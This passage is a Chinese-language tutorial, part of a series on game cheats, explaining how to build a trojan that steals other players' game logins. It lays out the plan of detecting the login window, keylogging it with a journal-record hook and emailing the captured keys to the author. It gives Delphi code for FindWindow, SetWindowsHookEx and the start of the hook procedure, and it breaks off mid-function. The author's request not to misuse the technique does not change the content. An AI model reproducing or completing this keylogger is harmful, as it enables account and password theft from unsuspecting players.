|
网络游戏外挂制作之我所见(4)(1)
以前介绍过的动作式,本地修改式外挂是真正意义上的外挂,而今天本文要介绍的木马式外挂,可能大多像木马吧,是帮助做外挂的人偷取别人游戏的帐号及密码的东东。因为网络上有此类外挂的存在,所以今天不得不说一下(我个人是非常讨厌这类外挂的,请看过本文的朋友不要到处乱用此技术,谢谢合作)。要做此类外挂的程序实现方法很多(比如HOOK,键盘监视等技术),因为HOOK技术对程序员的技术要求比较高并且在实际应用上需要多带一个动态链接库,所以在文中我会以键盘监视技术来实现此类木马的制作。键盘监视技术只需要一个.exe文件就能实现做到后台键盘监视,这个程序用这种技术来实现比较适合。 在做程序之前我们必需要了解一下程序的思路: 1、我们首先知道你想记录游戏的登录窗口名称。 2、判断登录窗口是否出现。 3、如果登录窗口出现,就记录键盘。 4、当窗口关闭时,把记录信息,通过邮件发送到程序设计者的邮箱。 第一点我就不具体分析了,因为你们比我还要了解你们玩的是什么游戏,登录窗口名称是什么。从第二点开始,我们就开始这类外挂的程序实现之旅: 那么我们要怎么样判断登录窗口虽否出现呢?其实这个很简单,我们用FindWindow函数就可以很轻松的实现了: HWND FindWindow( LPCTSTR lpClassName, // pointer to class name LPCTSTR lpWindowName // pointer to window name ); 实际程序实现中,我们要找到'xx'窗口,就用FindWindow(nil,'xx')如果当返回值大于0时表示窗口已经出现,那么我们就可以对键盘信息进行记录了。 先首我们用SetWindowsHookEx设置监视日志,而该函数的用法如下: HHOOK SetWindowsHookEx( int idHook, // type of hook to install HOOKPROC lpfn, // address of hook procedure HINSTANCE hMod, // handle of application instance DWord dwThreadId // identity of thread to install hook for ); 在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数,来实现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了,具体实现方法为: hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0); 而HOOKPROC里的函数就要复杂一点点: function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall; begin if findedtitle then file://如果发现窗口后 begin if (peventmsg(lparam)^.message = WM_KEYDOWN) then file://消息等于键盘按下
|